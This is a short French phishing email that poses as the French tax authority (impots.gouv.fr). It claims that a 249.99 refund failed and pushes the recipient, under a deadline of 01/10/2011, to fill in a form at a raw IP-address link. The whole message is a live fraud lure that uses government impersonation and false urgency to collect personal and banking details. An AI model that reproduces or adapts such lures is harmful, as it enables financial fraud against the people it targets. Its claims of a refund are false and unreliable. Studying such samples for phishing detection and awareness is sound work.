

De : "impots.gouv.fr"

A :

Copie à :

Objet : impots.gouv.fr

Bonjour, suite à une erreur de notre part, nous avons essayé de faire un remboursement directement sur votre compte bancaire, mais en vains. Afin de pouvoir procéder au remboursement d'un montant de 249.99 avant le 01/10/2011, nous vous demandons de vous rendre sur "<http://74.53.249.35/impots.gouv.fr/index.php>" pour remplir le formulaire prévu à cet effet. Après quoi, il sera impossible de effectuer votre remboursement et vous perdrez la somme net de 249.99.

Cordialement, le ministère du budget, des comptes publics et de la réforme de l'État.

© impots.gouv.fr Ministère du Budget, des Comptes publics et de la Réforme de l'État